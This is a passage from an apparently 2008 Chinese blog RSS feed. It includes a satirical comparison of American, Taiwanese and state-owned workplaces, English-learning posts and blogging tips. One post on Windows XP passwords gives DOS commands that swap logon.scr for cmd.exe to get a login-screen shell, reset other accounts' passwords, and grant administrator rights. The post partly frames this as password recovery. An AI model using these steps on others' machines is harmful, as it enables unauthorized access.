<div>美资企业员工，基本上搞不到加班费，发加班费？公司虽然有这样的制度，但是好像从来就没有发过吧！！</div>
<div>台资企业员工，如果算法没有扣掉住房补贴，没有扣掉交通补贴，也没有乘70%的话，那么，<span>这个月要控制加班了。</span></div>
<div>国有企业员工，两小时算半天半天算一天的，是跟科长关系好的。上个月干了三个白工的，上上个月肯定跟副科长吵架了。</div>
<div>&nbsp;</div>
<div>关于年终奖</div>
<div>美资企业员工，要看去年公司状况，也许今年3万，也许明年3千。越到年底越心慌，不知道到底可以拿多少。</div>
<div>台资企业员工，不用想，一个月，通常还要老板打个系数。系数大于1的就开心觉得老板对自己还不错，<span>小于</span>1的就难过并打算过了年就不干了。</div>
<div>国有企业员工，固定一个月。不用乘系数。还发点水果啊，油啊，水产品啊什么的。</div>
<div>&nbsp;</div>
<div>关于老资格</div>
<div>美资企业老员工，完了，上星期来的那小伙是他妈的硕士。公司招这样的人，太浪费了。不是说按能力不按学历的嘛。</div>
<div>台资企业老员工，现在比我早来的没两个人了，不知道这次升课长是不是我。没底。</div>
<div>国有企业老员工，科长进厂的时候是我徒弟，他小子竟然敢扣老子奖金？？</div>
<div>&nbsp;</div>
<div>关于报表</div>
<div>美资企业员工，真搞不懂，老板要这么多报表做什么。头都大了。计算机真伤眼睛啊。</div>
<div>台资企业员工，他妈的，这么多报表，我怀疑都没人看。做什么做呀。干。。。。你说那张阿，哦，那张是客人要audit的，要做。要update一下。</div>
<div>国有企业员工，小王，小王，死哪里去了，上个星期我让你做的表格做了没有，就是厂长今天要看的那个？？</div>
<div>&nbsp;</div>
<div>关于大厅</div>
<div>美资企业大厅都比较小，大厅比较大的，基本上就是在美国待不下去的公司。靠降低人工工资来降低成本的那一类。</div>
<div>台资企业大厅都比较大，装修都不差。问题是，员工上下班不准走。员工有员工通道。</div>
<div>国有企业没有特别的大厅，每栋楼的一楼都像大厅，有时候你以为是大厅，搞了半天原来是食堂。</div>
<div>&nbsp;</div>
<div>关于保安</div>
<div>美资企业保安很少跟员工发生摩擦，别人上下班忙进忙出。顾不上。保安说得最多的一句英文是&ldquo;good morning&rdquo;</div>
<div>台资企业保安每个人都觉得自己是大爷，对员工非常凶。不过在台湾人面前，又跟狗一样。（嗨，说起来之前还是我们解放军叔叔呢，怎么都这样了）</div>
<div>国有企业保安很少进入工厂，基本都在门口，如果没有人报告丢东西，没人打架的话，那基本就没什么事情。</div>
<div>&nbsp;</div>
<div>关于班车</div>
<div>美资企业在大陆很少有班车，既便有，也不怎么方便。线路少，要不就绕圈圈。坐的人不多。</div>
<div>台资企业基本都有班车，租的。抠门的公司会<span>让员工分担一点点。</span></div>
<div>国有企业基本有班车，数量少，拥挤不堪。好点的地方是路线比较长，能照顾到家远的员工。</div>
<div>&nbsp;</div>
<div>关于早会</div>
<div>美资企业很多会议，讨论的比较多的，是业务上的事情。压力大。老美急了也会骂娘。最开心的会议是圣诞晚会筹备会议。</div>
<div>台资企业很多会议，<span>以例行为多。不管有没有事，坐下再说。说着说着事情就来了。不爱发言的相对麻烦会比较少。</span></div>
<div>国有企业会议不多。尽管宣传的恶习中说国企会议很多，但实际不是这样。能经常开会的都是混得比较好不用干活的。</div>
<div>&nbsp;</div>
<div>关于洗手间</div>
<div>美资企业洗手间很不实用，空间大都比较小。马桶为主，员工多不大适应。</div>
<div>台资企业洗手间比较大，卫生，蹲坑为主。<span>抠门的公司经常缺纸。</span></div>
<div>国有企业洗手间，嗨，不说了，说了晚上会没胃口。</div>
<div>&nbsp;</div>
<div>关于宿舍</div>
<div>美资企业基本没有，即便有，也很贵，工资不够扣。因为本来就不是给员工住的。</div>
<div>台资企业有宿舍，几人合住的比较便宜。但要严格按照公司的规定作息。不用合住的，通常比外面房租还贵。</div>
<div>国有企业如果有，毛坯。也便宜。象征性的扣点钱。只要没有得罪科长，基本上可以住很久。运气好的最后可以据为己有。</div>
<div>&nbsp;</div>
<div>最后总结</div>
<div>美资企业员工本来以为美企很舒服，像电视上那样。轻松，工资高，有品味。进来以后才发现，情况远不是这样，压力大，事情多。很容易被老板炒掉，常常老板还没有出任务，自己的对策就想好了，叫防患于未然。最终的结果是，虽然有点不多的钱但多少有点神经质。外人看起来好像过得很有品味，内心的真实情况只有自己知道。</div>
<div>台资企业员工进台资的本来打算是锻炼一下，但常常因为一不小心就做得比较久，后来发现就业面比较窄技术性比较弱最终只能在台资之间跳来跳去，从一个火坑跳到另外一个火坑。就像现代包身工。外语能力对这些人很关键。外语好的话出路蛮多，但也只能是相关产业。</div>
<div>国有企业从计划经济中走来，高层多不是自身靠打拼得到。无法适应市场要求，基本还是大老爷的那套。去掉国家垄断性或受到重点监管的企业，其它的将来都会被淘汰。员工状况可想而知，对他们来说，最最可怕的事情，就是到40多岁时要下岗。对于他们来说，这将是个致命打击。</div>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=44</link>
			<title><![CDATA[Daily Sentences]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[English Learning]]></category>
			<pubDate>Tue,05 Aug 2008 08:45:10 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=44</guid>
		<description><![CDATA[<p>OK, It is just what forms in my&nbsp; brain&nbsp;&nbsp;or what i come accross that i think it is meaningful&nbsp;&nbsp;or helps me to remember some keywords in the sentence.</p>
<p>1. I am a bachelor with a bachelor degree.</p>
<p>COMMENT: OK, it is about my status. The first word bachelor is not a degree while the later one is. It means somebody without boyfriend or girlfriend, someone's still alone.</p>
<p>2. It is about six hours that I slept last night, but&nbsp;to&nbsp;my surprise, i am full of energy today.</p>
<p>COMMENT: It is true, but nothing special in this sentence.</p>
<p>3. Do believe always that there is no&nbsp;limitation of your imagination.</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=42</link>
			<title><![CDATA[电脑密码与安全相关]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[电脑综合]]></category>
			<pubDate>Mon,04 Aug 2008 09:21:47 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=42</guid>
		<description><![CDATA[<p>xp密码破解</p>
<p>方法一：</p>
<p>(1)启动电脑，使用DOS启动盘(比如：Windows 98启动盘)进入纯DOS状态。</p>
<p>(2)在DOS提示符下，根据下面步骤操作：</p>
<p>cd\ (切换到根目录)</p>
<p>cd windows\system32 (切换到系统目录)</p>
<p>mkdir temphack (创建临时文件夹)</p>
<p>copy logon.scr temphacklogon.scr (备份logon.scr)</p>
<p>copy cmd.exe temphackcmd.exe (备份cmd.exe)</p>
<p>del logon.scr (删除logon.scr)</p>
<p>rename cmd.exe logon.scr (将cmd.exe改名为logon.scr)</p>
<p>exit (退出)</p>
<p>(3)重启电脑，在登录等待画面出现后静静等候，如果没有修改屏幕保护时间，大约10分钟，系统就会自动启动登录屏保程序，可是由于Logon.scr已经由cmd.exe代替了，所以系统就启动了cmd.exe，进入命令行提示符状态。</p>
<p>(4)这时，我们可以使用命令：net user password来修改密码了。</p>
<p>假设有一个超级管理员的帐号是Admin，希望重新设置其密码为admin，那么可以使用命令：net user Admin admin，回车后即可更改密码。</p>
<p>(5)接下来，想不想进入桌面系统看看硬盘上面的东西呢？在命令行提示符状态下输入Explorer命令试试看，是不是很顺利地进入了Windows的桌面？</p>
<p>小提示</p>
<p>如果你有一个普通用户帐号，利用上面介绍的方法稍作改动就可以把它变成超级管理员Administrator帐号。</p>
<p>备份logon.scr和usermgr.exe，将第二步中的cmd.exe全部换成usermgr.exe，然后重启，静静等候，这时出现的不是命令行提示符，而是用户管理器，这时我们就有权限把自己加到Administrator组了。</p>
<p>方法二：</p>
<p>由于WindowsXP在安装过程时，首先以Administrator默认登陆，有不少朋友没有注意到为它设置密码，而是根据要求创建一个个人的帐户，以后进入系统后即使用此帐户登陆，而且在WindowsXP的登录界面中也只出现这个创建的用户帐号，而不出现Administrator，实际这个帐号依然存在，而且密码为空。</p>
<p>　知道了这个原理，你可以直接正常启动，在登陆界面出现后，按Ctrl+Alt，再按Del两次，即可出现经典登陆画面，此时在用户名处填入Administrator，密码为空即可进入，接下来，就可以进入&ldquo;控制面板&rdquo;的&ldquo;用户和密码&rdquo;，修改你想要修改的用户的密码即可。</p>
<p>密码过期前显示信息提示</p>
<p>预设的情况下，WindowsXP会在密码过期前14天显示信息提示使用者。如果要更改天数，可打开&ldquo;注册表编辑器&rdquo;，找到[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon]，双击右侧窗格中的&ldquo;PasswordExpiryWarning&rdquo;双字节值，根据你自己的需要设置提前提示的天数。</p>
<p>从待机状态恢复时不输入密码</p>
<p>打开&ldquo;控制面板&rdquo;&rarr;电源选项，点击&ldquo;高级&rdquo;选项卡，然后将&ldquo;在计算机从待机状态恢复时，提示输入密码&rdquo;前的对勾取消。</p>
<p>别让密码过期的另一招</p>
<p>WindowsXP在密码过期前14天就会提醒你更换密码。除了可以通过修改注册表来取消提醒外，我们还可以在&ldquo;运行&rdquo;命令里输入：lusrmgr.msc，回车，在弹出的Local Users andGroups对话框中，选择&ldquo;用户&rdquo;文件夹，在右边窗口中找到你所使用的用户名，例如：Format，双击后，会弹出&ldquo;Format属性&rdquo;对话框，只需选中&ldquo;密码永不过期&rdquo;复选框。</p>
<p>退出带密码的屏保时出现登陆界面</p>
<p>Windows XP中，如果设置了屏幕保护和密码保护，退出屏幕保护时为锁定计算机，显示的是欢迎界面。如何才能在退出屏保时为登陆界面呢？</p>
<p>点击&ldquo;我的电脑&rdquo;&rarr;&ldquo;控制面板&rdquo;&rarr;&ldquo;显示&rdquo;，在&ldquo;屏幕保护程序&rdquo;选项卡中的&ldquo;屏幕保护程序&rdquo;下，单击&ldquo;屏幕保护程序&rdquo;。 选中&ldquo;密码保护&rdquo;复选框，取消&ldquo;显示欢迎屏幕&rdquo;前面的勾选。</p>
<p>如果希望在开机时也显示登陆界面，需要进一步操作，在&ldquo;控制面板&rdquo;中双击&ldquo;用户帐号&rdquo;，打开&ldquo;用户帐号&rdquo;窗口，单击&ldquo;更改用户登录或注销方式&rdquo;，取消&ldquo;使用欢迎屏幕&rdquo;前面的勾选。</p>
<p>这样，以后无论是登录还是从屏幕保护返回，都直接进入登录界面而不是欢迎界面。</p>
<p>创建一张密码重置磁盘</p>
<p>以前在使用Windows 2000时不少用户都遇到过因为忘记了自己的密码而无法进入系统的问题，在WindowsXP中你可以创建一张密码重设磁盘，这样在忘记密码时可以使用它来重新设置一个密码。点击开始&rarr;控制面板，然后点击用户帐号；在下面点击你的帐号名；在弹出的用户帐号对话框中选择&ldquo;创建一张密码重设盘&rdquo;，跟随向导的指示完成密码重设盘的制作。注意将该磁盘存放在安全的地方，因为任何人都可以使用它来访问你的本地用户帐号。</p>
<p>找到密码提示语</p>
<p>会不会担心记不住自己的登录密码？没关系，在最初生成密码时，你可以在提示符后生成一个提示语，WindowsXP会把密码提示语保存在注册表[Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Hints]里面。</p>
<p>限制自动登录的次数</p>
<p>这个设置用于限制自动登录的次数，一旦达到限制的数字，自动登录功能会禁用，系统会显示标准的认证窗口。打开&ldquo;注册表编辑器&rdquo;，找[HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon]，在右侧窗格创建名为AutoLogonCount的字符串值，将其值设置为自动登录的次数。这样每当系统启动一次，自动登录的次数将会减少一次，直到为零。然后不允许自动登录。AutoLogonCount和DefaultPassword会从注册表删除，AutoAdminLogon为零。</p>
<p>自动登录时禁用Shift键</p>
<p>当使用自动登录功能时，用户可通过按住Shift键忽略登录进程，输入其他用户名及密码进入电脑。该技巧可以禁用自动登录时的Shift键功能。操作步骤如下：打开&ldquo;注册表编辑器&rdquo;，找到[HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon]子键并选中它。在右侧窗口中创建名为IgnoreShiftOverride的字符串值，命，将其键值设置为1。退出&ldquo;注册表编辑器&rdquo;，重启电脑。这样在启动时就不能通过按住Shift键中断自动登录过程了。</p>
<p>让别人访问你的电脑</p>
<p>打开&ldquo;控制面板&rdquo;&rarr;&ldquo;用户帐号&rdquo;，接着点击&ldquo;创建一个新帐号&rdquo;，然后在向导中输入其他用户帐号名称及密码，最后选择将其类型设置为&ldquo;受限&rdquo;，然后点击&ldquo;创建帐号&rdquo;按钮，这样别人就可以登录你的电脑了。</p>
<p>让指定的用户只能在特定时间登录</p>
<p>做家长的可能会希望限制孩子使用电脑的时间。只要按照以下方法，就能轻松实现。不过这要求你有Administrator权限。</p>
<p>首先进入&ldquo;命令行提示符&rdquo;，以Guest这个账户为例。如果需要设置这个账户从周一到周五的早上9点到晚上5点才能登录。可以用下面这个命令：</p>
<p>net user Guest /time:M-F,08:00-17:00，或者net user Guest /time:M-F,9am-5pm</p>
<p>回车后就会生效。</p>
<p>如果需要依次指定每天的时间，那么也只需要按照下面这个格式：</p>
<p>net user Guest /time:M,4am-5pm;T,1pm-3pm;W-F,8:00-17:00。</p>
<p>而net user Guest /time:all 这个命令则可以允许该用户随时登录。</p>
<p>当心你的加密文件</p>
<p>从Windows2000开始，在NTFS文件系统的分区中Windows可以帮助你加密文件。方法是，在想加密的文件或文件夹上点右键，选择&ldquo;属性&rdquo;，在属性的&ldquo;常规&rdquo;选项卡上点击&ldquo;高级&rdquo;按钮，会弹出一个窗口，选中窗口中的&ldquo;加密内容以便保护数据&rdquo;即可实现在NTFS卷上对文件的加密。</p>
<p>这被称作为EFS(Encrypting FileSystem，加密文件系统)。这种加密的好处是，加密的过程是完全透明的，也就是说，如果你加密了这些文件，你对这些文件的访问将完全允许(并不需要你输入密码，因为验证过程在你登录Windows的时候就进行了)，而其它人则不能访问或移动这些数据。</p>
<p>不过如果你的Windows突然崩溃，在无计可施的情况下只能重装系统，但原来被加密过的数据会出现无法打开的问题。这时只有在域环境下，才可以得到域管理员的帮助，解密这些文件。这是因为当你使用EFS加密后，系统会根据你的SID(Security Identifier，安全标示符)自动生成一个密钥，要解密这些文件就要使用这个密钥。对于系统而言，并不是根据用户名来区别不同的用户，而是根据SID，这个SID是唯一的。SID和用户名的关系跟人的姓名和身份证号码的关系是一样的。虽然有同名同姓的人，但他们的身份证号码绝对不会相同；虽然有相同的用户名(指网络上的，因为本地用户不能有相同的用户名)，但他们的SID绝对不同。这也就解释了为什么重装系统后即使使用之前的用户名和密码登陆也不能打开以前的加密文件。</p>
<p>所以在重装系统之前最好能把加密的数据全部解密。然而，为了应付突发的系统崩溃，就需要备份好自己密钥，这样系统崩溃后只要重装系统，并导入密钥，就可以继续使用之前的加密文件了。</p>
<p>备份密钥的方法是：单击&ldquo;开始&rdquo;&rarr;&ldquo;运行&rdquo;，输入：certmgr.msc，回车后打开&ldquo;证书管理器&rdquo;，在&ldquo;当前用户&rdquo;&rarr;&ldquo;个人&rdquo;&rarr;&ldquo;证书&rdquo;目录下，右击颁发给你的证书，在&ldquo;所有任务&rdquo;中点击&ldquo;导出&rdquo;，并选择Export The PrivateKey(导出私钥)，其它选项按照默认设置。输入该用户的密码和保存路径就可以了。</p>
<p>在重装系统后，照旧运行certmgr.msc，并在&ldquo;所有任务&rdquo;中选择导入，选择好备份的证书，然后按照向导，就可以完成对密钥的导入。或直接在导出的pfx文件上点右键，选择&ldquo;安装PFX&rdquo;。这时，你的加密数据已经可以访问了。</p>
<p>开启安全文件系统</p>
<p>打开&ldquo;注册表编辑器&rdquo;，找到[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]，在右侧窗格将forceguest的键值改为1。</p>
<p>方法三：</p>
<p>当有人为自己的机器设置了密码，而且不象xifeng那样明明白白告诉你密码的话，我们就要暴力破解它，哈哈。</p>
<p>利用NET命令</p>
<p>我们知道在Windows XP中提供了&ldquo;net user&rdquo;命令，该命令可以添加、修改用户账户信息，其语法格式为：</p>
<p>net user [UserName [Password | *] [options]] [/d omain]</p>
<p>net user [UserName {Password | *} /add [options] [/d omain]</p>
<p>net user [UserName [/delete] [/d omain]]</p>
<p>每个参数的具体含义在Windows XP帮助中已做了详细的说明，在此笔者就不多阐述了。好了，我们现在以恢复本地用户&ldquo;zhangbq&rdquo;口令为例，来说明解决忘记登录密码的步骤：</p>
<p>1、重新启动计算机，在启动画面出现后马上按下F8键，选择&ldquo;带命令行的安全模式&rdquo;。</p>
<p>2、运行过程结束时，系统列出了系统超级用户&ldquo;administrator&rdquo;和本地用户&ldquo;zhangbq&rdquo;的选择菜单，鼠标单击&ldquo;administrator&rdquo;，进入命令行模式。</p>
<p>3、键入命令：&ldquo;net user zhangbq 123456/add&rdquo;，强制将&ldquo;zhangbq&rdquo;用户的口令更改为&ldquo;123456&rdquo;。若想在此添加一新用户（如：用户名为abcdef，口令为123456）的话，请键入&ldquo;net user abcdef 123456 /add&rdquo;，添加后可用&ldquo;net localgroup administratorsabcdef /add&rdquo;命令将用户提升为系统管理组&ldquo;administrators&rdquo;的用户，并使其具有超级权限。</p>
<p>4、重新启动计算机，选择正常模式下运行，就可以用更改后的口令&ldquo;123456&rdquo;登录&ldquo;zhangbq&rdquo;用户了</p>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=41</link>
			<title><![CDATA[Write a blog that is a blog（写像样的blog）]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[English Learning]]></category>
			<pubDate>Wed,30 Jul 2008 22:17:32 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=41</guid>
		<description><![CDATA[<div id="english">
<p>You can improve your writing (your business writing, your ad writing, your thank you notes and your essays) if you start thinking like a blogger:</p>
<p>1. Use headlines. I use them all the time now. Not just boring ones that announce your purpose (like the one on this post) but interesting or puzzling or engaging headlines. Headlines are perfect for engaging busy readers.</p>
<p>2. Realize that people have choices. With 80 million other blogs to choose from, I know you could leave at any moment (see, there goes someone now). So that makes blog writing shorter and faster and more exciting.</p>
<p>3. Drip, drip, drip. Bloggers don't have to say everything at once. We can add a new idea every day, piling on a thesis over time.</p>
<p>4. It's okay if you leave. Bloggers aren't afraid to include links or distractions in their writing, because we know you'll come back if what we had to say was interesting.</p>
<p>5. Interactivity is a great shortcut. Your readers care about someone's opinion even more than yours... their own. So reading your email or your comments or your trackbacks (your choice) makes it easy to stay relevant.</p>
<p>6. Gimmicks aren't as useful as insight. If you're going to blog successfully for months or years, sooner or later you need to actually say something. Same goes for your writing.</p>
<p>7. Don't be afraid of lists. People like lists.</p>
<p>8. Show up. Not writing is not a useful way of expressing your ideas. Waiting for perfect is a lousy strategy.</p>
<p>9. Say it. Don't hide, don't embellish.</p>
<p>What would happen if every single high school student had to have a blog? or every employee in your company? or every one of your customers?</p>
</div>
<p>&nbsp;</p>
<div id="chinese">
<p>你如果想写像样的blog比必须像一个blogger那样思考：</p>
<p>1. 使用标题。我写blog是始终使用标题的。不只只是无聊的告诉别人我的目的（比如我要写啥），也是为了吸引别人的注意或者勾起别人的好奇。对于匆匆一过的游客来说，标题是最有吸引力的</p>
<p>2. 读者有选择权。作为全球8亿blog的一分子来说，你肯定想别人阅读你的blog次数多一些，时间长一些。那么尽量写的短一些有趣一点，这样就方便了别人的阅读。</p>
<p>3. 冰冻三尺非一日之寒。Blogger们并不需要一次把事情都写出来都写清楚。你可以每天加入一点新东西，打好基础，把一个东西一件事情说清楚。</p>
<p>4. 不要怕读者离开。你不应该害怕在你的文章里加入链接，因为你应当知道，读者们会回来的如果你写的东西对他们有吸引力。</p>
<p>5. 保持互动。你的读者不光光对你的文章有兴趣，他们似乎对别人的观点更加有兴趣。所以读者阅读你的评论你的trackback可以更好的保持内容相关性。</p>
<p>6. 噱头不如内在管用。如果你想成功的日积月累的写好你的blog，请用事实说话。</p>
<p>7. 不要害怕使用列表。读者喜欢阅读列表。</p>
<p>8. 展示你自己。通过写作完美的表达你自己，等待完美是个糟糕的想法。</p>
<p>9. 照写就是。不用隐藏什么，也不用夸大什么。</p>
<p>如果一个单身的高中生开始写blog，他会写些什么？或者如果你的公司的员工开始写blog？或者你的客户开始写blog，都会发生些什么？</p>
</div>]]></description>
		</item>
		
			<item>
			<link>http://www.wscxy.com/shosh/article.asp?id=40</link>
			<title><![CDATA[violate and volatile]]></title>
			<author>shosh.zhu@qisda.com(shosh)</author>
			<category><![CDATA[English Learning]]></category>
			<pubDate>Wed,30 Jul 2008 22:05:00 +0800</pubDate>
			<guid>http://www.wscxy.com/shosh/default.asp?id=40</guid>
		<description><![CDATA[<p>I have ever read the word volatile as a keyword of c language, it means the variable decorated by it may changes so&nbsp;unexpectedly that the compiler should not optimize it when compiling, leaving checking its&nbsp;instant value everytime it was read. However, I have never used that keyword in my programming, but still always I remember that there is a &quot;Violate&quot; like keyword (unable to remember either&nbsp;its spelling or its pronunciation) meaning a variable may changes at any time in C language.</p>
<p>&nbsp;</p>
<p>After that, I came across another word &quot;violate&quot; many times, and every time I mistook that for &quot;volatile&quot;, considering it meaning something changable. And so happened, when the word violate together with the word access, it seems comprehansible.</p>
<p>&nbsp;</p>
<p>But from today on, I believe I won't mistaken them as the other any more.</p>]]></description>
		</item>
		
</channel>
</rss>
